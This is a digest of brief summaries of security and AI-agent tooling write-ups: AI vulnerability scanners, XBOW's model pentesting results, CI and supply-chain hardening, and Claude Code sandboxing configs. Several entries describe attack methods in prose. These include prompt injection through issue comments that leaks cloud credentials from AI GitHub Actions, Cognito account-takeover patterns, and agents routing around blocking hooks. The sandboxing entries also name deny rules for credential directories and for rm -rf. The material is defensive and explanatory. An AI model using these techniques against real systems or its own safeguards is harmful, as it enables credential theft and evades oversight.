    Takeaway: Copy the guardrail pattern. Turn on the sandbox, deny reads of credential directories, block destructive and IaC-apply commands with exit-2 hooks, and route tool calls through one audited wrapper CLI.

  • RedAI: AI-Powered Security Vulnerability Discovery and Live Validation Tool
    summary

    TL;DR: RedAI is a TypeScript/Bun terminal workbench where AI agents find candidate vulnerabilities in source code. Validator agents then try to confirm each one against a running instance of the target.

    • How it works: A scan runs in three phases: discover (threat model, file prioritization, analysis units, scanner agents), validate (live tests) and report.
    • Validation: A validator plans and runs tests by clicking UI, sending requests, writing PoCs and capturing screenshots. Each finding ends as confirmed, unable-to-test or disproved.
    • Environments: The bundled plugins are a Browser validator (real Chrome via agent-browser) and an iOS Simulator validator (via xcrun simctl). Custom ones implement src/validators/validator-plugin.ts.
    • Scanners: It uses Claude Code (ANTHROPIC_API_KEY, Bedrock or Vertex) or Codex (OPENAI_API_KEY or CODEX_API_KEY). It reads .env from the working directory.
    • Output: Markdown, HTML and JSON reports with reproduction steps and evidence go to ~/.redai/runs/<runId>/. REDAI_HOME overrides the location.
    • Setup: Install with bun install -g @kpolley/redai, then run redai. It needs Bun 1.2 or later, and validators need their skill directory in .agents/skills/ inside the target workspace.
    • Demo: examples/webapp is a deliberately vulnerable app on localhost:3000, with an iOS counterpart in examples/iosapp.
    • Caveats: Use it only on systems you are authorized to test. Findings may be wrong, environments need manual login and setup, and ~/.redai/ may hold credentials and transcripts.

    Takeaway: Try RedAI on internal apps to cut false positives from AI scanners through live PoC validation. Run it only in isolated test environments, and treat ~/.redai/ as sensitive data.

  • Google Agent Skills: Reusable Skills for AI Agents to Interact with Google Cloud Services
    summary

    TL;DR: google/skills is Google’s Apache-2.0 collection of Markdown Agent Skills and plugins for Google Cloud and other Google products. Coding agents can load it to work with GKE, BigQuery, IAM, SecOps and more.

    • What it is: Markdown skill files that agent harnesses load. They are not standalone tools.
    • Install: Run npx skills add google/skills, then pick skills, target agents and project or global scope. Update with npx skills update.
    • Plugins: Bundles of skills plus MCP servers. For Claude Code, run claude plugin marketplace add google/skills, then claude plugin install <plugin>@google-plugins. Codex and Antigravity CLI are also supported.
    • Infrastructure coverage: A large GKE set (autoscaler, networking, upgrades, multi-tenancy, workload troubleshooting), Cloud Storage, Filestore, load balancers and TPU/GPU troubleshooting.
    • Security coverage: GKE workload security, Workload Identity Federation troubleshooting, Security Command Center, Google SecOps (triage, detection engineering, threat hunting), IAM Policy Simulator and Privileged Access Manager.
    • Observability coverage: A Cloud Monitoring PromQL generator, Logging Query Language queries, Cloud Trace, SLO alert setup and GKE cost analysis.
    • Other: Well-Architected Framework pillar skills, BigQuery, Spanner, AlloyDB, Cloud SQL, the gcloud CLI skill, and a migrate-legacy-codebases-to-safe-Rust skill.
    • Caveats: Some skills are in Public Preview or carry renamed products. Some live in external repos outside this update flow, and only collaborators can open PRs.

    Takeaway: Install only the GKE, IAM and observability skills your agents need, at project scope. Review the Markdown before trusting it, because these are instructions your agent will follow.

  • GPT-5.5: Mythos-Like Hacking, Open to All
    summary

    TL;DR: XBOW reports that GPT-5.5 is a step change for automated pentesting. It misses 10% of known vulnerabilities on XBOW’s benchmark, and XBOW calls it comparable to Anthropic’s restricted Mythos but more widely available.

    • Method: Models run inside XBOW’s full agent workflows against open-source apps frozen at known-vulnerable versions. The main metric is miss rate.
    • Numbers: Combined blackbox and whitebox miss rates were 40% for GPT-5, 18% for Opus 4.6 and 10% for GPT-5.5.
    • Blackbox: GPT-5.5 without source code beats GPT-5 with source code.
    • Whitebox: Gains were large enough that XBOW says the whitebox benchmark is saturated, or “killed”.
    • Behavior: GPT-5.4 found vulnerabilities in fewer actions, while GPT-5.5 found more of them. XBOW describes this as going further, not just faster.
    • Computer use: GPT-5.5 scored 97.5% on visual acuity, within the margin of the best result (Opus 4.7). It logs in with about half the iterations of the next-best model.
    • Persistence: It still sometimes keeps going when it should give up, but about half as often as earlier GPT versions or Opus.
    • Caveats: This is a vendor self-evaluation after a few weeks of early access, with no sample sizes or CVEs. The Mythos comparison is based on reports, not on XBOW’s own testing.

    Takeaway: Assume broadly available models can now find most known vulnerability classes in your apps, even blackbox. Shorten patch windows and run AI-assisted testing on your own services before attackers do.

  • CTFs in the AI Era: How AI Is Changing Capture the Flag Competitions
    summary

    TL;DR: Include Security argues that frontier LLM agents now solve most easy-to-medium CTF challenges, as BSidesSF 2026 showed. Professional pentesting still needs human judgment that CTFs never test.

    • Evidence: At BSidesSF 2026, 16 teams solved every challenge and every challenge had at least 25 solves. Claude Code and Codex solved everything except a few OSINT challenges.
    • Contrast: In 2025, ChatGPT handled only easy challenges. The author placed 5th solo in 2025 and estimates he would have placed about 75th in 2026 without LLM help.
    • Setup: A Debian VM with Conda, Playwright and Ghidra plus a Ghidra MCP server. It ran Claude Code on Opus 4.6 at max effort, one tmux session per scraped CTFd challenge.
    • Team pipelines: Top teams watched for new challenges, ran several agents per challenge and auto-submitted flags. A coordinator LLM shared discoveries between fast and deep-reasoning models.
    • Cost: The Claude Max 5x plan ($100/month) weekly token limit just covered the whole event.
    • Why CTFs suit LLMs: Single flag goal, verifiable success, small self-contained targets, no reporting, and low consequences for mistakes.
    • Why pentesting differs: It needs business context for false positives, large systems you cannot run locally, scope discipline, reporting and client communication.
    • Caveats: Evidence is mostly one event plus second-hand anecdotes. The setup skips permission prompts, which is safe only inside an isolated VM.

    Takeaway: Use LLM agents to speed up bounded and verifiable security tasks. Keep humans responsible for scope, impact and false-positive triage, and run permissionless agents only in disposable VMs.

  • DeepSec: Agent-Powered Vulnerability Scanner for Large Codebases
    summary

    TL;DR: deepsec from Vercel Labs is an Apache-2.0 agent-powered vulnerability scanner that runs on your own infrastructure. It is built to find long-hidden bugs across large existing repos.

    • How it works: scan uses regex matchers to find candidate sites quickly and without AI. process has an AI agent investigate them. An optional revalidate pass re-checks findings and looks for fixes in git history.
    • PR mode: process --diff investigates only the files changed in a diff.
    • Other commands: triage (P0/P1/P2 with a cheaper model), enrich (committer and owner info), report, export, metrics, status.
    • Setup: Run npx deepsec init at the repo root. It adds only a .deepsec/ folder, and later runs use pnpm deepsec scan and pnpm deepsec process from inside it.
    • Models: Defaults to the strongest models at maximum thinking, tunable with --thinking-level. Calls go through Vercel AI Gateway unless you pass --model-auth direct with your own key’s environment variable name.
    • Scale: deepsec sandbox process --sandboxes 10 fans work out to Vercel Sandbox microVMs. Interrupted runs resume and skip files already analyzed.
    • Cost: The README warns that large codebases can cost thousands or tens of thousands of dollars. Cap spend with --max-cost-usd and --max-duration.
    • Security model: Treat it like a coding agent with full shell access. Prompt injection from vendored or external code is a known concern, and sandbox egress is limited to agent hosts.

    Takeaway: Pilot deepsec on one critical repo with --max-cost-usd set, and run it in sandbox mode. Then wire process --diff into PR checks for ongoing coverage.

  • Warp: Agentic Development Environment with AI-Powered Coding and Terminal
    summary

    TL;DR: Warp has open-sourced the client code of its terminal-born agentic development environment. It ships a built-in coding agent and also runs external CLI agents such as Claude Code, Codex and Gemini CLI.

    • What it is: An agentic development environment that grew out of the Warp terminal, covering code, agents, terminal and Drive.
    • License: The UI framework crates warpui_core and warpui are MIT. The rest of the code is AGPL v3.
    • Agents: Use Warp’s own coding agent or bring your own CLI agent.
    • Build: ./script/bootstrap sets up the platform, ./script/run builds and runs Warp, and ./script/presubmit runs fmt, clippy and tests. AGENTS.md is the engineering guide.
    • Contributing: File an issue first. Maintainers add ready-to-spec or ready-to-implement labels before code PRs are welcome, and report vulnerabilities privately per CONTRIBUTING.md.
    • Automation: build.warp.dev shows agents triaging issues, writing specs, implementing changes and reviewing PRs.
    • Caveats: OpenAI is the founding sponsor, and the agent workflows run on GPT models. Warp Factories and build.warp.dev are early access, and experimental features ship in a Preview build.
    • Numbers: The repo page showed about 65.7k stars, 5.7k forks and 4k open issues at fetch time.

    Takeaway: Check that AGPL v3 is acceptable before you fork or embed Warp code. Review how its agent integrations handle your shell credentials before rolling it out to a team.

  • Practical Package Security: The Unofficial Guide
    summary

    TL;DR: Wiz gives a practical guide to defending against package supply-chain compromises like Axios and trivy-action. It uses cooldowns, lockfiles, install-script blocking, registry proxies and canary credentials to cut exposure and blast radius.

    • Pattern: An attacker takes over a maintainer account or build system and pushes a malicious version. Hours to days of exposure is enough, as with Axios 1.14.1/0.30.4, live about 3 hours with about 100M monthly downloads.
    • Incidents: TeamPCP force-pushed 75 of 76 trivy-action tags to steal CI secrets, which then led to PyPI compromises including LiteLLM.
    • Cooldowns: Delay new versions with Renovate minimum release age, Dependabot minimum package age, pnpm update delays or uv exclude-newer. Wiz claims seven days would have stopped 90+% of recent attacks.
    • Lockfiles: Use npm ci in CI, because npm install can rewrite the lockfile. Lockfile adoption is about 50% in npm and about 99.7% in Go.
    • Install scripts: Disable them with npm ignore-scripts or pnpm onlyBuiltDependencies. Roll out by denying by default and allowlisting exceptions.
    • Environments: Run installs in remote dev environments, away from laptop credentials. Aim for zero-touch production with no standing developer prod credentials, and use isolated browsers against cookie theft.
    • Registries: Start with a pull-through proxy (Artifactory, Nexus, CodeArtifact) for visibility. Then move critical paths to curated registries.
    • Detection: Plant canary credentials in CI environment variables. At Grafana, an AWS key canary exposed a compromised Action within minutes.
    • Caveats: Cooldowns delay security patches, and wrapper scanners rely on lagging OSSF malware data. Lockfiles do not control transitive dependencies in common ecosystems.

    Takeaway: Add a 7-day cooldown in Renovate or Dependabot and switch CI to npm ci. Disable install scripts by default, and plant AWS canary tokens in CI secrets today.

  • CloudSec Tidbits: The Danger of Multi-SSO AWS Cognito User Pools
    summary

    TL;DR: Doyensec shows how multi-tenant SaaS apps that let tenants add their own OIDC/SAML IdPs to one AWS Cognito User Pool can suffer ghost identities, account takeover and login-routing hijacks.

    • Setup at risk: One Cognito User Pool where tenants self-register external IdPs through CreateIdentityProvider, with identity logic in Lambda triggers.
    • Ghost identities: If PreSignUp_ExternalProvider lacks a domain check, Cognito saves the attacker’s user. A later rejection in PostConfirmation leaves the record, which can then be used through password reset or impersonation.
    • Trigger gaps: First federated login and later logins run different trigger chains that share only TokenGeneration. Checks placed only on PreAuthentication_Authentication miss first login.
    • Sub-splitting: Federated usernames have the form <ProviderName>_<sub>. ProviderName cannot contain _, but sub can, so a guard and a JIT consumer can parse the same username differently.
    • Homoglyphs: Provider names with Cyrillic lookalike letters pass Cognito’s byte-level uniqueness check but look identical in the Hosted UI and logs.
    • Routing hijack: Cognito does not verify ownership of IdpIdentifiers. An attacker IdP can claim an unclaimed domain such as gmail.com and receive every login for that domain.
    • Attribute abuse: AttributeMapping values from a malicious IdP are attacker-controlled. WriteAttributes does not stop Lambdas calling AdminUpdateUserAttributes on custom:tenantID or custom:role.
    • Fixes: Branch PreSignUp on triggerSource, and parse usernames everywhere with one helper using maxsplit=1. Derive tenant and role server-side, and require domain-ownership proof before accepting an IdpIdentifiers claim.
    • Caveats: These are attack patterns, with no CVE or named vendor. Exposure depends on each platform’s trigger logic, and a Terraform lab plus the maSSO malicious-IdP tool are provided.

    Takeaway: If you run self-service SSO on Cognito, audit every Lambda triggerSource path. Treat all IdP claims, including sub, as untrusted input, and never let tenants claim IdpIdentifiers domains they have not verified.

  • How to Harden GitHub Actions: An Updated Guide
    summary

    TL;DR: Wiz updated its GitHub Actions hardening cheat sheet for 2026 after the tj-actions, trivy-action and Axios incidents. It covers org settings, secrets, workflow authoring, third-party actions and runners.

    • Threat pattern: A compromised workflow or action leaks credentials, and the attacker then moves laterally. In tj-actions (March 2025), a vulnerable workflow leaked PATs that were used to poison actions across thousands of repos.
    • Org settings: Make the default GITHUB_TOKEN read-only, since orgs created before February 2023 may still default to read-write. Turn on SHA pinning enforcement (August 2025) and block actions during incidents with a ! prefix.
    • PPE vectors: Pwn Requests through pull_request_target or workflow_run, script injection from issue titles or branch names into run:, GITHUB_ENV/GITHUB_PATH abuse (for example LD_PRELOAD), and living-off-the-pipeline tools.
    • Workflow authoring: Set permissions: {} at the top and grant per job. Use persist-credentials: false on actions/checkout, and pass untrusted values through env, never inline interpolation.
    • Secrets: Scope secrets to step-level env. Avoid toJson(secrets) and secrets: inherit, prefer OIDC, and keep release credentials in GitHub Apps.
    • Third-party actions: Pin to commit SHA, because tags can be force-pushed. Add a 7-14 day cooldown with pinact --min-age 7 or Renovate minimumReleaseAge.
    • Branch protection: Dismiss stale approvals on new commits, and require approval from someone other than the last pusher to stop PR hijacking.
    • Runners: Never attach self-hosted runners to public repos. Use ephemeral runners with default-deny egress.
    • Tools: zizmor for static analysis, octoscan, OpenSSF allstar, and trajan/Gato-X for self-testing. GitHub’s roadmap adds a workflow dependencies: lockfile that pins transitive actions.

    Takeaway: Run zizmor across all workflows and enforce SHA pinning at org level. Set read-only default tokens and permissions: {}, then replace long-lived cloud secrets with OIDC.

  • The Insecurity Landscape of AI-Powered GitHub Actions
    summary

    TL;DR: Wiz found bypasses of the access gates in Anthropic, OpenAI and Google AI GitHub Actions, plus ways to leak credentials from them. Its rule is that whoever controls the prompt input will achieve injection, so limit both input and blast radius.

    • Thesis: AI actions take free-form input and give nondeterministic output, and prompt injection has no complete fix. Security depends on who can supply input and what the agent can reach.
    • Bot gate bypass: anthropics/claude-code-action and openai/codex-action trust any actor whose name ends in [bot]. With allowed_bots: "*", any attacker-created GitHub App can trigger them.
    • Dangling apps: With a named bot allowlist, an attacker can register an unclaimed app with the trusted name. Wiz compares this to dangling domains.
    • Dependabot confused deputy: @dependabot recreate or @dependabot show makes Dependabot the github.actor. That bypasses allowlists that trust Dependabot.
    • Credential files: Auth actions such as google-github-actions/auth@v2 write GCP, AWS, Azure, Docker or SSH credential files. In a demo, an issue prompt got Gemini to print GCP credentials into the workflow log.
    • Verbose leaks: show_full_output: true in claude-code-action and gemini_debug: true in run-gemini-cli expose every file the agent reads in public logs.
    • Numbers: claude-code-action appears in 12K+ public workflows and run-gemini-cli in 1K+. Misconfigured repos total 200,000+ combined stars.
    • Vendor response: OpenAI added allow-bot-users and stopped trusting Dependabot. Anthropic updated its docs. claude-code-security-review, qodo-ai/pr-agent and coderabbitai/ai-pr-reviewer have no built-in access control.
    • Fixes: Drop allow-bots/allowed_bots wildcards and check author association (OWNER, MEMBER, COLLABORATOR) on comment triggers. Never pair AI actions with credential-generating auth steps or debug output in public repos.

    Takeaway: Search your org for AI actions that use bot wildcards, comment triggers without author-association checks, or cloud auth steps in the same job. Lock those down before an issue comment exfiltrates credentials.

  • distil AI Slop Detector: Chrome Extension That Detects AI-Generated Text Locally
    summary

    TL;DR: Distil Labs’ AI Slop Detector is a Chrome extension that runs a fine-tuned Gemma 3 270M model locally via WebAssembly. It labels pasted text ai_generated or human_written without sending it anywhere.

    • Model: Gemma 3 270M with a LoRA fine-tune for 4 epochs, quantized to Q4_K_M at about 242 MB. The model downloads from HuggingFace on first use.
    • Training: GPT OSS 120B acted as teacher. About 50 hand-written seeds were expanded to about 10,000 synthetic examples, based on a Kaggle AI-generated essays dataset.
    • Runtime: Runs on CPU through Wllama (WebAssembly) in an offscreen document. Each query takes about 0.5-2 seconds on consumer CPUs.
    • Accuracy: The tuned model scored 100%, the Q4 quantized model about 95% (19/20 on the extended suite), and the base model about 40%.
    • Real-world samples: ChatGPT outputs 98% (50 samples), human tweets 94% (50), Reddit comments about 92% (100+), formal emails 88% (30).
    • Size trade-off: Full precision is about 1.1 GB at 100%. Q4_K_M cuts size by about 78% for about 95% accuracy.
    • Setup: Load the unzipped repo unpacked at chrome://extensions/ in Developer mode. You can train your own with the Distil CLI and the distil-cli-skill Claude skill.
    • Limits: About 1 in 20 predictions may be wrong, and formal human writing gets false positives. Test sets are tiny (20 examples), and “slop” is defined by one dataset.

    Takeaway: Use this as a reference pattern for private, on-device small-model classifiers distilled from a large teacher. Do not use its verdicts to make decisions about people.

  • below: Interactive Tool to View and Record Historical Linux System Data
    summary

    TL;DR: below is Meta’s Apache-2.0 Linux resource monitor, a cgroup2-aware alternative to atop. It can show live data, record history continuously, and replay what the system looked like at a past point in time.

    • What it is: An interactive tool to view and record historical system data. Its name reflects rejecting many of atop’s design choices.
    • Data: Hardware utilization, the cgroup hierarchy, per-cgroup and per-process stats, and Pressure Stall Information (PSI).
    • Modes: below live for a live view and below replay -t "3m ago" for history. Recording runs as a daemon through etc/below.service and systemctl start below.
    • Export: below dump writes JSON, CSV or OpenMetrics for scripts. below snapshot creates a replayable file to share.
    • Install: dnf install below on Fedora 34+ and Amazon Linux 2023.9, apk add below on Alpine 3.17+, emerge sys-process/below on Gentoo, or cargo install below.
    • Docker: Images are published as below/below on Docker Hub.
    • Limits: No cgroup1 support. Prometheus and Grafana integration is basic and goes through dump (contrib/grafana/).
    • Caveats: The README does not state kernel or BPF requirements, and its examples use sudo.

    Takeaway: Enable the below recording service on cgroup2 hosts. After an incident, below replay shows which cgroup caused CPU, memory or IO pressure at the moment it happened.

  • boring: Lightweight CLI Tool for Managing SSH Tunnels
    summary

    TL;DR: boring is a small MIT-licensed CLI for managing SSH tunnels. It defines local, remote and SOCKS5 forwards in a TOML file and opens or closes them by name, glob or group, with automatic reconnection.

    • Features: Local, remote, socks and socks-remote forwarding, Unix sockets, keep-alives and auto-reconnect. It works with ~/.ssh/config and ssh-agent.
    • Config path: ~/.boring.toml on macOS and Windows, $XDG_CONFIG_HOME/boring/.boring.toml on Linux. $BORING_CONFIG overrides both.
    • Format: Each tunnel is a [[tunnels]] table with name, local, remote, host, mode and optional user, identity, port, group.
    • Port ranges: local and remote accept lists and ranges such as 8000-8010,8080, paired by position.
    • Keep-alive: keep_alive defaults to 120 seconds and can be set globally or per tunnel.
    • Commands: boring list, boring open <patterns> (or -a for all, -g for a group), boring close and boring edit.
    • Daemon: Logs go to /tmp/boringd.log and the control socket is /tmp/boringd.sock. Override them with $BORING_LOG_FILE and $BORING_SOCK, and set $DEBUG for verbose logs.
    • Install: brew install boring, a release binary, or make from source. Windows needs a source build with Go 1.25+ via build_win.bat.

    Takeaway: Replace ad-hoc ssh -L commands for bastion and database access with grouped boring tunnels. This keeps forwards reproducible and auto-reconnecting while reusing your existing SSH config and agent.

  • CodeBurn: CLI Tool Tracking Token Usage, Cost, and Performance Across AI Coding Tools
    summary

    TL;DR: CodeBurn is a free, local, MIT-licensed tool that reads AI coding agents’ session files to break down token usage and API-equivalent cost by tool, model, project and task.

    • How it works: Parses session files your agents already write on disk; no account, API key or proxy; prices come from LiteLLM, cached 24 hours.
    • Coverage: README body lists 42 integrations (About blurb says 37), including Claude Code, Codex, Cursor, Gemini CLI, Copilot, Cline, Kiro, OpenCode, Goose.
    • Views: Terminal dashboard, codeburn web, desktop app, menu bar/tray, plus breakdowns by git branch and 13 rule-based task categories.
    • Optimize: codeburn optimize scans 30 days for waste like re-read files, unused MCP servers, oversized CLAUDE.md; grades A to F; --apply fixes with undo.
    • Guard: Opt-in Claude Code hooks via codeburn guard install warn at $5 and stop a session at $15, both configurable.
    • Agent access: MCP server (claude mcp add codeburn -- npx -y codeburn mcp) exposes get_usage and get_savings.
    • Setup: npx codeburn, npm install -g codeburn or brew install codeburn; needs Node.js 22.13+.
    • Caveats: Dollars are estimates, not invoices; Cursor, Kiro and some Copilot tokens are estimated; can undercount versus Claude Code’s own counter.
    • Privacy: CLI sends nothing; desktop app telemetry defaults off in EU/EEA/UK/Switzerland but on elsewhere; Cursor sync disabled with CODEBURN_CURSOR_SYNC=0.

    Takeaway: Run npx codeburn to see where agent spend goes, use optimize to trim context waste, and turn off desktop telemetry if outside the EU default.

01.04.2026

  • claude-code-config: Trail of Bits Claude Code Configuration Guide and Sandboxing Best Practices
    summary

    TL;DR: Trail of Bits’ opinionated Claude Code setup covering sandboxing, deny rules, blocking hooks, MCP, local models and workflows, installable via /trailofbits:config.

    • Settings: Sets DISABLE_TELEMETRY, DISABLE_ERROR_REPORTING, enableAllProjectMcpServers: false and cleanupPeriodDays: 365; avoids CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC because it kills auto-updates.
    • Sandboxing: Use /sandbox (Seatbelt on macOS, bubblewrap on Linux) plus Read/Edit deny rules for ~/.aws, ~/.kube, SSH/GPG keys, registry tokens, keychain.
    • Why both: Deny rules alone cover only built-in tools; with /sandbox they also apply to Bash at the OS level.
    • Hooks: Two PreToolUse Bash hooks block rm -rf (suggest trash) and direct pushes to main/master, exiting with code 2.
    • Caveat: Hooks are guardrails, not a security boundary; prompt injection can route around them.
    • Rules: Path-scoped ~/.claude/rules/*.md are not re-injected after auto-compaction, so must-hold rules go in CLAUDE.md or hooks.
    • Worktree gotcha: A blocked worktree helper can make the agent silently fall back to git checkout -b in the shared directory.
    • Local models: LM Studio with Qwen3-Coder-Next (about 45GB, MLX 4-bit) needs 64GB+ unified memory, context at least 25K.
    • Usage: Prefer /clear over /compact, rewind after two failed corrections, and enable /fast (2x cost) only at session start.

    Takeaway: Copy the deny rules, sandbox config and blocking hooks into ~/.claude/settings.json, and only run --dangerously-skip-permissions when both sandbox and deny rules are active.

  • skills: Trail of Bits Claude Code Skills for Security Research and Audit Workflows
    summary

    TL;DR: Trail of Bits’ public marketplace of skills and plugins for AI-assisted security analysis, auditing, verification and development, usable from Claude Code, Codex and ChatGPT workspaces.

    • Code auditing: Largest group, including differential-review, insecure-defaults, sharp-edges, static-analysis, semgrep-rule-creator, variant-analysis, supply-chain-risk-auditor, agentic-actions-auditor.
    • Verification: constant-time-analysis, mutation-testing, property-based-testing, spec-to-code-compliance, zeroize-audit, writing-lean-proofs.
    • Other security: Smart contracts (building-secure-contracts), malware (yara-authoring), reverse engineering (dwarf-expert), mobile (firebase-apk-scanner).
    • Development: modern-python, modern-cpp, gh-cli, devcontainer-setup, second-opinion, git-cleanup, open-sourcing.
    • Install (Claude Code): /plugin marketplace add trailofbits/skills, then /plugin menu.
    • Install (Codex): codex plugin marketplace add trailofbits/skills, then codex plugin add <plugin-name>@trailofbits.
    • Trophy case: The constant-time-analysis skill found a timing side-channel in ML-DSA signing.
    • Caveats: Local add must run from the repo’s parent directory; ChatGPT import needs interface.display_name in agents/openai.yaml.
    • License: CC-BY-SA-4.0; contributors run make check, which covers most but not all of CI.

    Takeaway: Add the marketplace and install only the audit skills you need, such as insecure-defaults and supply-chain-risk-auditor, for security reviews.

  • claude-code-devcontainer: Sandboxed Devcontainer for Safely Running Claude Code with Unrestricted Permissions
    summary

    TL;DR: Trail of Bits devcontainer that runs Claude Code in bypassPermissions mode inside a disposable container, limiting it to the project directory for audits and untrusted repo review.

    • Problem: bypassPermissions on the host lets Claude run any command unconfirmed; the container confines it to /workspace and disposable state.
    • Setup: Needs Docker Desktop, OrbStack or Colima plus @devcontainers/cli; clone to ~/.claude-devcontainer and run install.sh self-install.
    • Commands: devc ., up, down, rebuild, destroy, shell, exec, mount, cp, and sync to copy session logs for /insights.
    • Patterns: Per-project containers for one-off reviews, or a shared workspace with several repos for client engagements.
    • Network: Full egress by default; optional iptables/ipset allowlist for api.anthropic.com, GitHub, npm and PyPI, dropping the rest.
    • Network limits: Per-IP filtering leaks across shared CDNs, DNS stays open, IPv6 is unfiltered, rules vanish on restart.
    • Not protected: Container escape, files planted in shared .git for later host execution, VS Code “Reopen in Container” RPC, rule changes via NET_ADMIN and sudo.
    • Exposure: Forwarded SSH agent lets container code authenticate as you; ~/.gitconfig mounted read-only; Docker socket not mounted.
    • Image: Ubuntu 24.04, Node.js 24, Python 3.13 with uv, user vscode with passwordless sudo.

    Takeaway: Use devc for untrusted repos from the terminal, not VS Code, enable the egress allowlist, and avoid forwarding your SSH agent or mounting $HOME.

  • load-secrets-action: Load Secrets from 1Password into GitHub Actions
    summary

    TL;DR: Official 1Password GitHub Action that loads secrets from 1Password vaults into workflow jobs as step outputs or environment variables, with log masking.

    • How it works: Declare env vars whose values are op://vault/item/field references; the action resolves them at runtime.
    • Auth: service account: Set OP_SERVICE_ACCOUNT_TOKEN from a GitHub secret.
    • Auth: Connect: 1Password Connect is supported as an alternative backend.
    • Auth: Workload Identity: Public preview; exchanges the job’s OIDC token for short-lived access using OP_WORKLOAD_ID, OP_ENVIRONMENT_ID, OP_INTEGRATION_KEY and id-token: write.
    • Workload Identity scope: Loads every variable in the configured 1Password environment, so scope that environment tightly.
    • Output modes: Default exposes secrets as step outputs via steps.<id>.outputs.<NAME>; export-env: true exports them as env vars.
    • Extras: OP_ENV_FILE points to a .env template; ?ssh-format=openssh selects SSH key format.
    • Masking: Loaded values are masked in job logs.
    • Caveats: Mixing Workload Identity with service account or Connect variables, or setting only some of its three, causes a config error.

    Takeaway: Prefer step outputs over export-env to limit secret exposure to later steps, and evaluate Workload Identity to drop long-lived service account tokens.

  • Infrastructure Agents Guide: How to Design, Build, and Operate AI Agents for Infrastructure Teams
    summary

    TL;DR: Cloudgeni’s open design guide for building and running AI agents that change infrastructure safely, covering runtime, sandboxing, credentials, GitOps, guardrails and audit across 13 chapters.

    • Problem: Agents that can terraform apply can also destroy, agents reading configs can leak secrets, and looping agents run up cost.
    • Core rule: Agents produce diffs, not deployments; every change lands via pull request, with direct execution only as a separate break-glass path.
    • Least privilege: Credentials are short-lived, scoped, time-limited and auditable to control blast radius.
    • Fail-safe: When uncertain the agent stops and asks a human; timeouts and policy gates are structural, not advisory.
    • Equal treatment: Agent changes pass the same review, CI and deployment pipelines as human changes.
    • Mental model: Four layers: policy plane, agent runtime, change control, and observability tracing every tool call and credential request.
    • Alternatives: Compares Claude Agent SDK, OpenAI Agents SDK, LangGraph; sandboxes like E2B, Modal, Daytona, AgentCore; Vault, Atlantis, Spacelift, OpenTelemetry.
    • Hardening: Chapter on trajectory tests, prompt-injection defense and security benchmarks, plus go-live checklists and compliance mapping.
    • License: Text under CC BY 4.0, code snippets under MIT; vendor-authored by Cloudgeni.

    Takeaway: Before giving an agent cloud access, restrict it to opening PRs with short-lived scoped credentials and full tool-call tracing, using the guide’s go-live checklist.

  • NotebookLM: AI Is Eating Security — BSidesSF, RSA, Claude Finds Firefox 0-Days
    summary

    (Could not fetch full text.)

    TL;DR: A Google NotebookLM notebook whose contents sit behind a Google account login, so its topic and sources could not be verified.

    • Type: A NotebookLM notebook, Google’s AI research notebook that works over user-supplied sources.
    • Access: The URL redirects to notebook.google.com, then to a Google sign-in page.
    • Visibility: No public title, description or source list is served to anonymous visitors.
    • Content: Topic, sources and generated notes are unknown.
    • Sharing: Viewing it needs a Google account the owner has granted access to.
    • Archive note: Open it while signed in to confirm the subject before relying on this entry.

    Takeaway: Open the notebook while signed in and record its title and sources manually.

  • Google Workspace CLI: Unified Command-Line Tool for Drive, Gmail, Calendar, and Admin APIs
    summary

    TL;DR: gws is an unofficial Rust CLI for Google Workspace that builds its commands at runtime from Google’s Discovery Service, with JSON output aimed at people and AI agents.

    • How it works: Reads the service name, fetches its Discovery Document (cached 24 hours), builds a clap command tree, then authenticates and calls the API.
    • Coverage: Drive, Gmail, Calendar, Sheets, Docs, Chat, Admin and more; new endpoints appear without a release.
    • Features: --dry-run, --page-all NDJSON pagination, gws schema <method>, --upload, and helpers like +send, +agenda, +append.
    • Auth order: GOOGLE_WORKSPACE_CLI_TOKEN, then a credentials file, then gws auth login storage encrypted with AES-256-GCM, then plaintext ~/.config/gws/credentials.json.
    • Scope limit: Unverified testing-mode apps allow about 25 scopes, so pick services like -s drive,gmail,sheets instead of the 85+ scope preset.
    • Agent skills: Ships 100+ SKILL.md skills (README tagline says 40+) and 50 recipes.
    • Prompt injection: --sanitize uses Model Armor to scan API responses in warn or block mode.
    • Install: GitHub release binaries, npm @googleworkspace/cli, cargo install, Nix or Homebrew.
    • Caveats: Not an official Google product; breaking changes expected before v1.0.

    Takeaway: Use gws with narrowly scoped OAuth and --sanitize when handing Workspace access to agents, and avoid the plaintext credentials fallback.

  • zeroboot: Sub-Millisecond VM Sandboxes for AI Agents via Copy-on-Write Forking
    summary

    TL;DR: Zeroboot is a prototype that spawns KVM VM sandboxes for AI agent code in under a millisecond by copy-on-write forking a pre-snapshotted Firecracker VM.

    • How it works: Firecracker boots a template once and snapshots memory and CPU state; each fork maps memory with mmap(MAP_PRIVATE) and restores CPU state.
    • Isolation: Every fork is a separate KVM VM with hardware-enforced memory isolation.
    • Numbers (claimed): Spawn p50 0.79ms, p99 1.74ms, about 265KB per sandbox, Python fork plus exec about 8ms, 1000 concurrent forks in 815ms.
    • Comparison (claimed): E2B about 150ms p50, Daytona about 27ms, microsandbox about 200ms.
    • API: POST /v1/exec with code and a Bearer token; Python and TypeScript (@zeroboot/sdk) SDKs; self-host on any Linux box with KVM.
    • Security caveat: Forks inherit CSPRNG state; the kernel pool is reseeded via RNDADDENTROPY, but userspace PRNGs like OpenSSL and numpy need manual reseeding.
    • Limits: One vCPU per fork, no networking (serial I/O only), and template changes need a full re-snapshot of about 15 seconds.
    • Status: Described as a working prototype, not production-hardened.

    Takeaway: Worth tracking for fast agent sandboxes, but reseed userspace RNGs per fork before generating keys or tokens, and do not run it in production yet.

  • Building a Cloud-Native Detection Engineering Lab with Terraform and AWS
    summary

    TL;DR: A walkthrough moving a RAM-hungry local detection engineering lab to AWS, with Terraform deploying Kali, Windows and an Elastic SIEM via one terraform apply.

    • Problem: A course lab of Kali, Windows, Ubuntu and ELK VMs needed more RAM than the author’s laptop had.
    • Architecture: Three EC2 instances: Kali attacker (t2.medium), Windows Server target (t2.medium), Ubuntu Elasticsearch plus Kibana (t2.large).
    • Bootstrap: user_data installs Elastic 8.x on Ubuntu and Sysmon with the SwiftOnSecurity config plus Winlogbeat on Windows.
    • Ordering: depends_on makes Windows wait for the Elastic instance before shipping logs.
    • Insecure defaults: Opens 22, 3389, 5601 and 9200, and sets xpack.security.enabled: false; the author flags this as lab-only.
    • Detection example: Elastic query rule for process.name:nmap, mapped to MITRE ATT&CK T1046 Network Service Discovery.
